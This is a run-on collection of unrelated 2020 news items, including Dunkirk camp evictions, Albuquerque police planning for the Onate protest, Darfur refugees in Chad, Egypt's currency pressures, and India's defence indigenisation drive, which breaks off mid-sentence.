Dunkirk, France, 17 September 2019. Care4Calais/PA Hundreds evicted from French refugee camp amid Channel crossings rise A bulldozer at work as French police officers move migrants from a camp near Grande-Synthe, Dunkirk, 17 September 2019. Help Refugees/PA Hundreds evicted from French refugee camp amid Channel crossings rise Police officers moving migrants from a camp near Grande-Synthe, Dunkirk, France,17 September 2019. Help Refugees/PA Hundreds evicted from French refugee camp amid Channel crossings rise Migrants at the Espace Jeunes du Moulin gym in Dunkirk as people awaited eviction from the camp 12 September 2019. Steve Parsons/PA Hundreds evicted from French refugee camp amid Channel crossings rise Aran Quader, 6, and his sister Yaran, two, at the Espace Jeunes du Moulin gym in Dunkirk on 12 September 2019, days before refugees were evicted. Steve Parsons/PA Hundreds evicted from French refugee camp amid Channel crossings rise Hamdren Quader 32, with his wife Xalat, 26, and children Kajhan, 8, Aran, 6, and Yaran, two, at the Espace Jeunes du Moulin gym in Dunkirk, France, on 12 September before refugees were evicted from the camp days later. PA Hundreds evicted from French refugee camp amid Channel crossings rise A bulldozer at work as French police officers move migrants from a camp near Grande-Synthe, Dunkirk, 17 September 2019. Help Refugees/PA Hundreds evicted from French refugee camp amid Channel crossings rise Police officers moving migrants from a camp near Grande-Synthe, Dunkirk, France, 17 September 2019. Help Refugees/PA Hundreds evicted from French refugee camp amid Channel crossings rise Police officers moving migrants from a camp near Grande-Synthe, Dunkirk, France, 17 September 2019. Help Refugees/PA He warned that it would be dangerous to try to intimidate or forcibly move migrant boats, and cautioned against entering French territorial waters without permission. The Home Affairs Committee has launched a new inquiry to examine the reasons behind a surge in crossings since 2018. It said MPs would look at the role of criminal gangs and the response of UK and French authorities to combating illegal migration and supporting legal routes to asylum. Minnie Rahman, from the Joint Council for the Welfare of Immigrants, said: Those forced to make dangerous journeys across the Channel are doing so because they simply have no other options. No one would risk their life on a crowded dinghy unless their future depended on it. If the government were serious about tackling trafficking, and resolving this situation once and for all, it would open up safe and legal routes of entry to the UK. Lisa Doyle, the Refugee Councils director of advocacy, said: Seeking asylum is not a crime, and it is legitimate that people have to cross borders to do so. Copyright 2020 Albuquerque Journal Before the prayer vigil for the removal of the Juan de Onate statue from the Albuquerque Museum grounds got underway earlier this summer, the Albuquerque Police Department made a plan detailing when officers would be allowed to intervene. The Emergency Response Team officers outfitted with riot gear was directed to protect the museum or human life, but not the statue of the conquistador known for his brutal treatment of Native Americans. That directive is spelled out in an APD Event Action Plan released to the Journal in response to a request under the states Inspection of Public Records Act. ERT will only engage if there is a threat to life or if major property damage occurs, the plan says. Damage to the statue will be considered minor property damage and will not elicit an ERT response. Any threat to the Albuquerque Museum will be considered major property damage due to there being high value historical items inside that cannot be replaced. The June 15 protest erupted in chaos and gunfire after a counterprotester, Steven Ray Baca, pushed demonstrators and violently threw one woman to the ground, according to bystander video. Investigators say other protesters tried to chase Baca away, he pepper-sprayed the group, and then ended up shooting and critically injuring a protester who was trying to knock a gun from his hand. Baca is charged with aggravated battery with a deadly weapon, aggravated battery with great bodily harm, battery and unlawful carrying of a firearm without a concealed carry permit. Bacas attorney contends his client fired in self defense. Witnesses have said tensions rose as protesters tried to remove the statue of Onate. The New Mexico Civil Guard, a self-described militia group, was also at the protest and had positioned its members around the statue, also adding to the tension. APD has been criticized for not stepping in earlier to prevent the situation from escalating. In the days immediately after the protest, City Councilors Isaac Benton and Pat Davis called for a public accounting of the events and decisions as they unfolded. When reached by the Journal last week, Benton said that he had not seen any documents or review of the Onate protest, but that he was not happy with APDs decision to not protect the sculpture. He spoke with the Journal before the release of the Event Action Plan and could not be reached again Monday. They did not appear to be at all concerned about a crazy mob all over that public artwork, Benton said. Whether you like Onate or agree that Onate should not be represented is a different story, but that is a piece of public artwork on city property, and it should be protected by our Police Department. Davis also had not seen any documents, but said police officials had explained their decision-making and he feels like they answered his questions. Since then, weve seen APD take a different approach , Davis said. That seemed to have eliminated the confrontations that we saw outside the museum. It looks like they have adjusted their tactics a little to prioritize de-escalation and that is what we are asking for. In news conferences after both the Onate protest and an earlier incident Downtown in which people smashed business windows hours after a peaceful march, city and APD officials said the concern is that if officers step in and make arrests for minor property damage, the situation could escalate unnecessarily. Deputy Chief Harold Medina said during those news conferences that the statue is not worth damaging relations with the community for years to come. Gilbert Gallegos, an APD spokesman, reiterated that protests are all different and dynamic, and decisions are made in real time while balancing many different factors. While we had the action plan for the ERT, Lt. (Joseph) Viers contacted Tactical Commander Art Sanchez to request a quick-response team be put on stand-by in case the Incident Command decided it needed a more appropriate response to an active shooter and/or a rescue situation, Gallegos wrote in an email. As you know, that is exactly what happened. The first Emergency Response Team deployed about the same time as the quick-response team and both arrived within a minute or two. The quick-response team had an EMT who immediately started providing life-saving aid as tactical members secured the scene and all guns. APD has also been criticized for its handling of the shooting investigation. Second Judicial District Attorney Raul Torrez has pointed to a criminal complaint that did not lay out the events leading up to protesters turning on Baca, as well as ERT officers deploying smoke and dispersing witnesses. The Event Action Plan lays out when officers should deploy gas, including in the case of a lethal situation. If gunfire or other life-threatening situations arise, ERT is authorized to deploy gas immediately to clear crowds and enable officers to withdraw to positions of cover, the plan says. All ERT members will be dressed with rifle plate armor and carriers. The shooting happened around 8:04 p.m., and about 25 minutes later, ERT officers deployed smoke into the crowd of protesters who remained at the scene. Gallegos said since the quick-response team was able to get there first and secure the scene, there was no need for smoke or gas to be deployed initially. However, as the situation evolved and the Emergency Response Team worked on crowd control, they were not able to effectively keep the immediate crowd from pushing toward the scene with the detained individuals and the guns, Gallegos wrote. Rather than using force, the team deployed smoke to create separation from the crowd and provide the needed space between the crowd and the secured scene. The plan, prepared by Lt. Viers, was signed by Police Chief Michael Geier 10 days after the protest. Gallegos said that he did not know when exactly the plan was formulated, but that it was approved and ERT officers were briefed before the event. I am not certain why it was not signed by the chief until later, Gallegos wrote. As you know, we have dealt with nearly 30 protests and demonstrations, requiring a lot of reports, reviews and approvals. APD also released an operation plan and after action review by the Special Investigations Division for the same event. The department initially released a version that had redacted almost everything other than the reports template. In response to questions from the Journal, APD released a slightly less redacted version, although it still did not provide the names of supervisors, the type of operation, the names of detectives involved, or what the Violence Intervention Division would be doing to support other units at APD, or many other details. One of the few lines that were not redacted cites as an additional safety issue reports that undercover officers were at the protest. APD Emergency Response Team Event Action Plan by Albuquerque Journal on Scribd APD Operation Plan by Albuquerque Journal on Scribd WEST PALM BEACH, Fla., Aug. 11, 2020 /PRNewswire/ -- Bumrungrad International Hospital (BIH) (https://www.bumrungrad.com/en), one of the World's top choices for traveling patients, located in Bangkok, Thailand, is the first hospital in the world to be awarded Global Healthcare Accreditation's Certification of Conformance with COVID-19 Guidelines for Medical Travel Programs. The Global Healthcare Accreditation (GHA) Program For Medical Travel Services issued the free Guidelines (https://www.globalhealthcareaccreditation.com/gha-covid-19-guidelines) in early July of this year to assist organizations in the medical tourism and health tourism industries seeking to mitigate the risk of COVID-19 infection for both domestic and traveling patients and their companions. The guidelines are unique in that they focus on the entire care continuum, including providing guidance for travel, as well as interactions with the healthcare organization, hotel and ground transportation. Ms. Artirat Charukitpipat, Bumrungrad's Chief Executive Officer stated, "From the very start of the spread of the coronavirus, Bumrungrad moved quickly to implement internal, as well as national and international protocols and guidelines designed to mitigate the risk of COVID-19 infection for patients and staff. While the pandemic continues to be an ongoing challenge, I am extremely proud of the work our entire team has done and continues to do to keep patients and staff safe. Achieving GHA's Certification of Conformance with COVID-19 Guidelines for Medical Travel Programs is a very important step for us to help increase patient trust in our medical travel services and also to validate the work we are doing to keep medical travelers safe during this difficult time." The Certification of Conformance (https://www.globalhealthcareaccreditation.com/certification-of-conformance-with-gha-covid-19-guidelines-for-medical-travel-programs) for hospitals and ambulatory centers is a three-year Certification with annual reviews, which signals to medical travelers, referrers, and other payers that the organization has implemented the recommendations in the guidelines as a proactive risk mitigation strategy to ensure patient safety and wellbeing during and post-COVID-19. According to Karen Timmons, Chief Executive Officer, Global Healthcare Accreditation (GHA), "The COVID-19 Certification of Conformance provides a seal to patients, buyers and other key stakeholders demonstrating that a medical travel program's operational protocols, practices and procedures have undergone an external review and reflect international best practices designed to keep traveling patients safe. One of the key objectives of the Certification of Conformance is to enhance transparency and encourage ongoing communications with patients, which is even more important during this challenging time, and which ultimately helps to increase patient trust in the organization. We congratulate Bumrungrad International Hospital as the first hospital in the world to achieve the GHA's Certification of Conformance and for its unwavering commitment to patient safety." The Global Healthcare Accreditation (GHA) Program For Medical Travel Services Guidelines (https://www.globalhealthcareaccreditation.com/gha-covid-19-guidelines) are free and the Certification of Conformance (https://www.globalhealthcareaccreditation.com/certification-of-conformance-with-gha-covid-19-guidelines-for-medical-travel-programs) is a process that is accomplished virtually and usually within a three to six week period of time. For more information about the Global Healthcare Accreditation (GHA) program and/or the COVID-19 Guidelines for Medical Travel Programs email [email protected] or Call U.S. +1 561 228 4014. About GHA Founded in 2016, the Global Healthcare Accreditation for Medical Travel Services is the only accrediting body focused solely on medical travel services. GHA's international standards and professional norms for medical travel were developed in consultation with leading global experts in the industry, including providers, insurers and employers committed to establish best practices in medical tourism and health tourism, which support healthcare providers in validating quality and patient experience, increasing visibility, and implementing a sustainable business model for providers along the entire medical travel care continuum. GHA received ISQua's International Society for Quality in Health Care External Evaluation Association (IEEA) accreditation in 2019. Visit: https://globalhealthcareaccreditation.com/ About Bumrungrad International Hospital: Bumrungrad International Hospital is an internationally accredited, multi-specialty hospital located in the heart of Bangkok, Thailand. Founded in 1980 and listed on the Stock Exchange of Thailand in 1989, it is one of the largest private hospitals in Southeast Asia. Bumrungrad International serves 1.1 million patients annually, including over half a million international patients from 190 different countries. SOURCE Global Healthcare Accreditation Related Links https://www.globalhealthcareaccreditation.com Sudanese refugees who fled inter-communal violence in West Darfur sit beside makeshift shelters in Mamata village, Chad, 19 January 2020. UNHCR/Aristophane Ngargoune Recent violence in Western Darfur has forced Sudanese refugees to seek safety in neighbouring Chad. Since the end of July 2020, at least 2,500 people have crossed the international border while ethnic-related unrest has affected an estimated 20,000 people within Western Darfur in Sudan the majority of whom are women and children. Attacks, blamed on armed nomads, in West Darfurs Masteri town killed 61 people from the Masalit community and injured at least 88 on 25 July. Houses were also reported to have been burned to the ground in the town and the surrounding villages. Many of the newly arriving refugees had returned home to Darfur from eastern Chad earlier this year. More than 80 per cent of those arriving in the Chadian border town of Adre are women, children and elderly people who ran for their lives as clashes erupted. Many have witnessed extreme violence. A 25-year-old woman told UNHCR staff that her husband was stabbed to death in front of her eyes and she had to run for her life with her three children, making the journey to Chad riding a donkey for one full day. UNHCR, the UN Refugee Agency, in collaboration with the Government of Chad and its national partners, is relocating the refugees from the border areas to the Kouchaguine-Moura refugee camp further inland. The camp was already hosting more than 6,000 Sudanese who had arrived in February 2020. However, relocation to the camp by convoy is proving slow, due to poor road conditions and heavy rains. The first two convoys with 443 refugees arrived last week. In Kouchaguine-Moura refugee camp, refugees are provided with shelter, water, food and emergency relief items. They are joining those who have arrived earlier. The camp is also providing access to hygiene and health, including isolation units, as part of the response to Covid-19. Inside Sudans West Darfur State, the situation has stabilized since the attacks but remains unpredictable. The internally displaced, many of whom are staying in El Geneina, are still hesitant to return home and are demanding better security. Federal authorities in Khartoum have reportedly deployed additional forces to control and calm the situation, while a delegation from Massalit and the Arab tribal leaders arrived in El Geneina from Khartoum on August 4 and is conducting peace talks between both sides. A joint mission conducted by humanitarian agencies to assess the protection risks and assistance needs of displaced families highlighted the pressing need for emergency relief items and shelters. However, poor road conditions, the rainy season and the security situation are among the challenges we are facing as we are organizing our response and monitoring the protection situation. Chad currently hosts 476,000 refugees and asylum seekers, including some 365 000 from Sudan. UNHCR is grateful to the Chadian government for allowing access to its territory to those fleeing persecution, despite the border being closed due to COVID-19. For more information on this topic, please contact: The impacts of the coronavirus pandemic are being felt on Egypts main hard-currency earners The Covid-19 pandemic is affecting the global economy as no crisis has ever done before, with the International Monetary Fund (IMF) recently releasing a report assessing the current and future impact of it on the external sector of economies or how transactions with the rest of the world are being affected by the crisis, including tourism, remittances, and international trade. The outlook for external positions remains highly uncertain with significant risks. A further worsening in risk sentiment could, for economies with pre-existing vulnerabilities, such as large current account deficits, a high share of foreign-currency debt, and limited international reserves, further increase the risks of an external crisis, the report noted. Egypt has the above-mentioned vulnerabilities, and its foreign-currency resources have been adversely affected. In June, the IMF approved a $5.2 billion standby loan to help the country plug a balance-of-payments shortfall. This was preceded by a $2.8 billion rapid financing arrangement for targeted and temporary spending. On Monday, the IMF released a paper highlighting the reasons it had extended the loan to Egypt. In addition to the fallout on the tourism industry and remittance flows from expatriate workers and lower Suez Canal receipts, it said that the pandemic had resulted in financial market turbulence, a significant reversal of capital flows, and large reserves losses. The stand-by loan will help to maintain macroeconomic stability amid the heightened uncertainty and address selected critical structural reforms, it said. The IMF said that pandemic-induced tourism losses would be mostly shouldered by large net tourism importers, including Egypt, Costa Rica, Greece, Morocco, New Zealand, Portugal, Spain, Sri Lanka, Thailand, and Turkey. According to the report, the tourism sectors losses this year could mount to two per cent of GDP due to global travel restrictions. These projections are provided that global restrictions on travel are lifted next month, a scenario that might seem doubtful as the number of Covid-19 cases seems to be on the rise. The findings of the report are similar to those of a June study by the National Planning Institute (NPI) in Egypt, which noted that under a best-case scenario Egypts tourism industry was expected to lose 73 per cent of its revenue in 2020 on the back of the coronavirus. There should be a recovery beginning in the third quarter, with flights resuming in early July. However, the persistence of the pandemic would limit leisure travel and reduce overall revenues through the year to $3.45 billion, the NPI report said. Tourism revenues during the third quarter of 2019-20, which extends from January to the end of March, are the most recent available from the Central Bank of Egypt (CBE) and came in at 11.2 per cent lower than the level of the same quarter last year, as flights were suspended at the end of March. Tourism revenues hit a record high of $13.03 billion in 2019. They were expected to achieve a record of $15 billion in revenues this year, had it not been for the coronavirus. Citing a survey by the World Tourism Organisation (WTO), the IMF expects the effects on tourism to persist to some extent in 2021 and beyond when demand for tourism recovers. Remittances will also be hard hit, with the IMF external sector report warning of a 20 per cent or $110 billion drop in global flows of worker remittances this year, jeopardising economies relying on this source of hard currency like Egypt, Pakistan, Guatemala, and the Philippines. Egypt is the fifth-highest recipient of remittances in the world, reaching $26.8 billion in 2019 and making up nearly 10 per cent of GDP, according to the Organisation for Economic Co-operation and Development (OECD). Remittances increased by $1.7 billion to $ 7.9 billion during the first three months of 2020, but the OECD expects a decrease of $2.3 billion from April through to June 2020 due to the pandemic. Remittances are vulnerable to the Covid-19 crisis as migrant workers are both more exposed to unemployment and wage losses, as they will be the first to go when things get worse in companies they are working for. A large chunk of up to 80 per cent of Egypts five million expatriates work in the Arab countries, especially the Arab Gulf, which has been hard hit by both the decline in oil prices and the repercussions of the coronavirus. A recent proposal to the Kuwaiti parliament to cut the number of migrant workers from 70 per cent to 30 per cent of the countrys population left thousands of Egyptians there in limbo. The Kuwaiti media has reported that up to 1.5 million expatriates could leave by the end of the year. There are almost half a million Egyptians currently living in Kuwait. Neighbouring Saudi Arabia had previously released a decree giving the green light to reduce salaries in the private sector by up to 40 per cent together with the possibility of terminating work contracts as a means to save costs during the pandemic. This was immediately followed by large companies laying off thousands of expatriate workers. According to the Egyptian Labour Abroad Division of the Cairo Chamber of Commerce, employment contracts for Egyptians abroad are characterised by a lack of long-term sustainability (most of them are annual), and they give the employer the upper hand. There is usually no mechanism protecting the rights of workers in the event of arbitrary, material, or moral damage. Remittances are forecast to only partially rebound by five per cent in 2021, the IMF added. Its report predicts that global trade will shrink by 12 per cent in 2020 in a scenario that can be likened to that witnessed during the global financial crisis in 2008. As the fastest shipping route between Asia and Europe, such a decline would badly affect Suez Canal receipts. Revenues fell to $5.72 billion in the 2019/20 financial year from $5.75 billion the year before. Revenues fell by 9.6 per cent year-on-year in May alone due to the impact of the coronavirus on global trade movements, Osama Rabie, chairman of the Canal Authority, said in June. The decline in tourism revenues and remittances, main sources of hard currency, have weighed on Egypts foreign reserves, which have seen a decline over three consecutive months to reach $36 billion in May compared to $45.5 billion in February. They edged up in June and July, thanks to the IMF loan and the return of foreign investments in treasury bills, to reach $41.2 billion. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly under headline: Foreign currency takes a hit Search Keywords: Short link: What is going to make people more likely to wear a mask is if the governor says you know what, this really is an emergency. This is something that is appropriate for a special session, " Schimpf said. And then if you have a mask mandate that is put in place, subject to the legislative process that has the full support of the rule of law, then I believe people will take this much more seriously. Source: Xinhua| 2020-08-11 16:45:45|Editor: huaxia Video Player Close VIENTIANE, Aug. 11 (Xinhua) -- A total of 75 people were killed in 518 road accidents in Laos during July, according to the latest report from Lao Ministry of Public Security. According to the report issued by the traffic police department under Lao Ministry of Public Security, there were 518 road accidents across the country during July, an increase of 65 accidents from the figures for June. In the accidents during July, 75 people were killed, 706 others were injured and 941 vehicles were damaged, local daily Vientiane Times reported on Tuesday. Most road accidents occurred because of drunk driving and excessive speed. Traffic police in the country are concentrating on a road safety campaign, especially in schools, which provides information on traffic regulations and the dangers of careless driving, according to the report. Enditem Bengaluru, Aug 11 : Ananthkumar Hegde, BJP MP from Karnataka's Uttara Kannada, has stoked controversy after he termed state-run Bharat Sanchar Nigam Limited's (BSNL) employees as "traitors" and said that the company would be privatised. "Employees in BSNL are traitors who are not willing to work," he said in Kannada at a meeting in Kumta on Monday. Hegde said the company with 88,000 employees will be privatised. "The government gave money and people need services but the employees do not work," he said. According to the MP, the company has become a "disgrace" to the entire country and the government will shut it down. He said the government will implement a disinvestment policy to close the company so that private entities can take over the vacuum left by it. Hegde said the Prime Minister talks about Digital India and allocates funds for it but the employees do not work, requiring the central government to remedy the problem by privatising BSNL. The BJP MP has courted controversy on many occasions earlier with his statements. Google Pixel 5 may not be powered by a flagship-grade Qualcomm Snapdragon 865 chipset as per a listing. The Google Pixel 5 will go on sale sometime this fall. Pixel 4a (5G) and Pixel 5 to be first 5G-enabled phone by Google The Google Pixel 5 may not be powered by a flagship-grade Qualcomm Snapdragon 865 chipset as per a listing that hints that the Pixel 5 wouldnt exactly be a flagship 5G phone as we have come to see with the Pixel lineup. The company recently announced the mid-range Pixel 4a which is a successor to the Pixel 3a series. The 4a is expected to be available in India sometime in October but the Pixel 5 is already a no-show as the same has been confirmed by Google previously. As per a listing on AI Benchmark, the Pixel 5 could be powered by the mid-range Snapdragon 765G chipset, most recently seen on the OnePlus Nord. This falls in line with earlier speculations about the phone not running on a flagship chipset and instead, settling for a mid-range SoC. The Pixel 5 and Pixel 4a (5G) have been confirmed as Googles first 5G-enabled smartphones that will be making it to the U.S., Canada, the United Kingdom, Ireland, France, Germany, Japan, Taiwan and Australia. Google Pixel 5 could come with Qualcomm Snapdragon 765G processor The listing of Pixel 5 reveals the phone to be running on 8GB RAM and Android 11 to boot. The Snapdragon 765G chip has an octa-core CPU running at upto 2.4GHz with Adreno 620 GPU and is made on a 7nm fabrication process which improves efficiency along with some of the Elite Gaming features onboard. Earlier, a leaked Google Camera app was torn-down by an XDA developer who discovered codenames indicating that the Pixel 5 could come with a Snapdragon 700-series processor. Google could be aiming for an affordable Pixel 5 with 5G support, rumoured wireless charging, punch-hole cutout and dual rear cameras and as such a mid-range chip would help in keeping costs down. Perhaps there is a Pixel 5 XL in works that could be powered by the top-end Snapdragon 865 chip but theres no official word yet. For 2020, Pixel 4a is the only phone from Google that will be available in India and while the price isnt out yet, it is expected to retail under Rs 30,000 when it arrives in the country. In comparison, the OnePlus Nord with Snapdragon 765G, quad cameras, a fast-charging battery and OxygenOS starts at Rs 24,999 in India so it will be interesting to see how Google makes it a stand out in the market. Even if the industry bites the bullet and agrees to go full throttle on defence manufacturing, the lack of transparency from the government corridor will hardly instil confidence in the private sector. On 9 August, Defence Minister Rajnath Singh fired off a barrage of 12 tweets signalling that India has seriously stepped up the gas on fulfilling its defence requirements indigenously. The Ministry of Defence is now ready for a big push to #AtmanirbharBharat initiative. MoD will introduce import embargo on 101 items beyond given timeline to boost indigenisation of defence production. Rajnath Singh (@rajnathsingh) August 9, 2020 Taking cue from that evocation, the Ministry of Defence has prepared a list of 101 items for which there would be an embargo on the import beyond the timeline indicated against them. This is a big step towards self-reliance in defence. #AtmanirbharBharat Rajnath Singh (@rajnathsingh) August 9, 2020 "This decision will offer a great opportunity to the Indian defence industry to manufacture the items in the negative list by using their own design and development capabilities or adopting the technologies designed & developed by DRDO to meet the requirements of the Armed Forces," Singh said. "The embargo on imports is planned to be progressively implemented between 2020 to 2024. Our aim is to apprise the Indian defence industry about the anticipated requirements of the Armed Forces so that they are better prepared to realise the goal of indigenisation. All necessary steps would be taken to ensure that timelines for production of equipment as per the Negative Import List are met, which will include a co-ordinated mechanism for hand holding of the industry by the Defence Services," he tweeted. More such equipment for import embargo would be identified progressively by the DMA in consultation with all stakeholders. A due note of this will also be made in the DAP to ensure that no item in the negative list is processed for import in the future. Rajnath Singh (@rajnathsingh) August 9, 2020 MoD has also bifurcated the capital procurement budget for 2020-21 between domestic and foreign capital procurement routes. A separate budget head has been created with an outlay of nearly Rs 52,000 crore for domestic capital procurement in the current financial year. Rajnath Singh (@rajnathsingh) August 9, 2020 Although the announcements sound dramatic, they are neither new nor earth-shattering. On 16 May itself, Finance Minister Nirmala Sitharaman announced that the FDI limit in defence manufacturing under automatic route will be hiked to 74 percent from the existing 49 percent while some weapons and platforms will be banned for imports. There is a belief that global players like Lockheed Martin, Boeing, Airbus and Dassault Aviation will now set up manufacturing hubs in India and bring niche technology without hesitation as the firms will have majority stakes in their Indian subsidiaries. Even if major global defence firms set up shops in India, there is no guarantee that they will transfer technology of their products which are technically their milch cow. She said that items banned for imports can only be purchased from within the country and that there will be indigenisation of some imported spares with separate budgetary provisioning for domestic capital procurement. This, she said, will reduce the huge defence import bill. The finance minister also said that Ordnance Factory Boards will be corporatised for better management and eventually get listed on the stock market. For the time-bound defence procurement process and faster decision-making, project management unit (PMU) to support contract management will be set up. The defence minister's tweets only added a number to an already existing announcement. On paper, it is a great boost to India's defence production capabilities, an opportunity for Indian industries with interest in defence production to pocket huge money at home, a giant leap for the country to be self-reliant in defence with homemade weapons and nearly a magic wand to achieve the lofty goals of Atmanirbhar Bharat. In February, Prime Minister Modi set a target of $5 billion worth of military exports in the next five years and invited global defence majors to set up manufacturing hubs in the country. Sitharaman also said the process for General Staff Qualitative Requirements (GSQRs) will be made realistic. In GSQRs, the armed forces define criteria to procure platforms and hardware. Roadmap versus Roadblock From its current position as the world's second-largest arms importer to build a domestically thriving defence industry won't be easy for India. The very reason that India needs to import a bulk of its defence requirements is suggestive enough that its own defence industry is in no position to cater to its needs at least for now. Analysing the reasons why the path ahead for the indigenisation of the defence sector is going to be hard, retired Brigadier Kuldip Singh wrote in The Quint, "We still do not have an entire MIC ecosystem that combines government agencies, R&D, suppliers, component manufacturers, and technology adoption firms that integrate sub-systems into a working whole. This means we may still have to import critical components which places a question mark on the negative list." Even if the industry bites the bullet and agrees to go full throttle on defence manufacturing, the lack of transparency from the government corridor will hardly instil confidence in the private sector. "The medium and long-term perspective plans for A&D (aerospace and defence) sector have been framed but not shared with the industry. The industry is of the opinion that sharing equipment requirements over the long term in a transparent manner, without compromising national security, will provide the industry with information and confidence to invest in a production process that is measured in decades rather than years," said an ASSOCHAM report Make in India: Achieving self-reliance in defence production. With the Department of Military Affairs under Chief of Defence Staff General Bipin Rawat now involved in the selection of 101 items in the import ban list, a little more synergy between the government and the private players may be expected. The list is prepared by MoD after several rounds of consultations with all stakeholders, including the Armed Forces, public & private industry to assess current and future capabilities of the Indian industry for manufacturing various ammunition & equipment within India. Rajnath Singh (@rajnathsingh) August 9, 2020 Almost 260 schemes of such items were contracted by the Tri-Services at an approximate cost of Rs 3.5 lakh crore between April 2015 and August 2020. It is estimated that contracts worth almost Rs 4 lakh crore will be placed upon the domestic industry within the next 6 to 7 years. Rajnath Singh (@rajnathsingh) August 9, 2020 Of these, items worth almost Rs 1,30,000 crore each are anticipated for the Army and the Air Force while items worth almost Rs 1,40,000 crore are anticipated by the Navy over the same period. #AtmanirbharBharat Rajnath Singh (@rajnathsingh) August 9, 2020 The list also includes, wheeled Armoured Fighting Vehicles (AFVs) with indicative import embargo date of December 2021, of which the Army is expected to contract almost 200 at an approximate cost of over Rs 5,000 crore. #AtmanirbharBharat Rajnath Singh (@rajnathsingh) August 9, 2020 However, there is a catch here as well. "Against each of the 101 items is mentioned a year when import embargo would kick in, leading to apprehensions that demands will be placed with foreign vendors until then, leaving very little for domestic producers," a report in The Indian Express said. The Department of Defence Production (DDP) was set up in November 1962 with the objective of developing a comprehensive production infrastructure to produce weapons/systems/platforms/equipment required for defence. For decades, the department established wide-ranging production facilities for various defence equipment through Ordnance Factories and Defence Public Sector Undertakings (DPSUs) but the role of the private sector so far has been literally negligible. The Ministry of Defence in its Annual Report 2015-16 acknowledged that "To achieve the goal of self-reliance in the Defence sector, continuous efforts are being made to increase indigenisation, wherever technologically feasible and economically viable." Sadly, the scope for private defence manufacturing units has been mostly on the negative terrain with regards to the "technologically feasible and economically viable" factor. Although the annual reports of the Ministry of Defence have talked about achievements year after year, they hardly focus on the problems which are systemic, wide-ranging and need careful handling. Even if the government has become more proactive than before, red-tapism is still deep and seeks to paralyse every move attempting to transform India's defence manufacturing sector as a self-reliant billion-dollar industry. "Equipping the Armed Forces with state-of-the-art weapon systems and equipment, and promoting self-reliance in defence sector by giving a boost to domestic manufacturing are two sides of the same coin. Several path-breaking initiatives were taken by the Ministry during the period towards simplification, rationalisation, and decentralisation of decision-making and streamlining of procedure, which resulted in enhancement of the ease of doing business and replacement of red tape by the red carpet," the Ministry of Defence said in its Annual Report 2018-19. Things are not so hunky-dory as the annual report intend to describe but at least there is some movement in this regard. Over the decades India has set up many committees like the APJ Abdul Kalam Committee, Arun Singh-headed Group of Ministers (GoM) Task Force, Kelkar Committee, Sisodia Committee, Naresh Chandra Committee among others focussing on various aspects to indigenise the country's defence industry. "Although several high-level committees have been established to address the problem of defence industrial indigenisation, very few of the necessary steps have been taken," said Fellow in foreign policy studies at Brookings India in New Delhi and the Brookings Institution in Washington, Dhruva Jaishankar in his study The Indigenisation of India's Defence Industry. He said that despite strong recommendations by these committees, "the primary element limiting Indias bid for an indigenous defence industry today is policy unpredictability". To further the predicament for the private sector interested in the defence sector "new entrants are inhibited by very high capital costs, carefully-guarded intellectual property, and the uncertainty of the procurement process". Material gets the lesser pie According to the latest report by Stockholm International Peace Research Institute (SIPRI), a leading think-tank on military spending, India's defence expenditure stood at $71.1 billion in 2019, which is the third-highest after the US and China. In 2017, the government came up with an ambitious policy under which select private firms were to be roped in to build key military platforms like submarines and fighter jets in India in partnership with global defence majors. Although this seems to be a whopping figure, the reality is that a huge amount of it goes on men rather than material. In the Union Budget 2020-21, the Ministry of Defence was allocated Rs 4,71,378 crore which includes expenditure for salaries of armed forces and civilians, pensions, modernisation of armed forces, production establishments, maintenance and research and development organisations. According to PRS Legislative Research, the expenditure on defence constitutes 15.5 percent of the Central governments budget and 2.1 percent of Indias estimated GDP for 2020-21. However, the study said that in 2010-11, defence expenditure was 2.5 percent of GDP and 16.3 percent of Central government expenditure, which has decreased to 2.1 percent of GDP and 15.5 percent of government expenditure, respectively, in 2020-21. "For 2020-21, expenditure on salaries form the largest portion of the defence budget (Rs 1,42,292 crore or 30 percent of the defence budget). This is followed by pensions (Rs 1,33,825 crore or 28% of defence budget) and expenditure on capital outlay (Rs 1,07,233 crore or 23 percent of the defence budget). The remaining allocation is towards stores (maintenance of equipment) and other items such as border roads, and administrative expenses. Salaries and pensions together comprise 58.6 percent of the defence budget," the PRS Legislative Research findings said. China way ahead in defence research and development As they say, the devil is in the details and it is the capital outlay where the fund is allocated for the purchase of defence equipment, weapon systems, aircraft, ships and construction of roads and bridges in border areas. In contrast, China, which hiked its defence budget moderately this year to $179 billion from last year's $177.6 billion due to the COVID-19 pandemic, still has a budget which is three times bigger than India. To develop a formidable defence production capability and create a profitable market one of the critical components is research and development to innovate new systems and for that a huge amount of investment is prerequisite. In the current Budget, India will spend Rs 19,327 crore on defence research and development, which constitutes 4 percent of the total defence budget. In comparison, China is increasingly closing the gap with the US when it comes to defence research and development. "Meanwhile, Chinas share of global R&D investment has increased dramatically. Over a twenty year period from 1997 to 2017, its share grew by 900 percent from three percent to 27 percent, surpassing all other countries except the United States. As Chinas R&D investments have grown during this period, it has increasingly translated its technological advances into military power, challenging DoDs ability to maintain a favorable regional balance of power in the Indo-Pacific," said data analytics firm Govini in its report entitled America's Eroding Technological Advantage: National Defense Strategy RDT&E Priorities in an era of Great-Power competition with China. The report said that "Chinese spending on R&D has exploded over the last two decades and could match, if not surpass, the United States overall R&D spending within a few years". Speaking to Defense One, Govini CEO Tara Murphy said, "China has more than tripled its basic research investments over the last decade while US government investment has stagnated. In the long-term military competition with China, flatlining its S&T budget may make DoD a spectator as China turns leap ahead technologies into game-changing capability. Delay is demon On 2 December last year, a Times of India report gave a reality check on the state of the country's defence manufacturing notwithstanding the hoopla around it. "None of the major Make in India projects in the defence arena, ranging from new-generation stealth submarines, minesweepers and light utility helicopters to infantry combat vehicles, transport aircraft and fighter jets, have actually taken off in the last six years," the report said. Projects worth over Rs 3.5 lakh crore are still stuck including the planned manufacturing of 7,50,000 Kalashnikov AK-203 assault rifles in Uttar Pradesh jointly with Russian support due to various bureaucratic or technical tangles. The delay in the Kalashnikov AK-203 assault rifles project has forced the army to go for an urgent procurement of 72,000 additional American Sig Sauer 716 assault rifles from the US. While India prides herself as a nuclear power, the truth is that the country is yet to make a rifle that can replace another poor product the INSAS rifle. In 2018, the army rejected the 7.62x51 mm guns built by the Rifle Factory Ishapore for bad quality and in 2017, the 5.56 mm Excalibur guns met with a similar fate. Add to that the ongoing COVID-19 pandemic has only complicated matters further. According to a report in the Defense News, critical projects like the French Scorpene submarines, Project 17A destroyers, Indo-Russian BrahMos cruise missiles and license production of Russian T-90MS main battle tanks are taking a big hit because 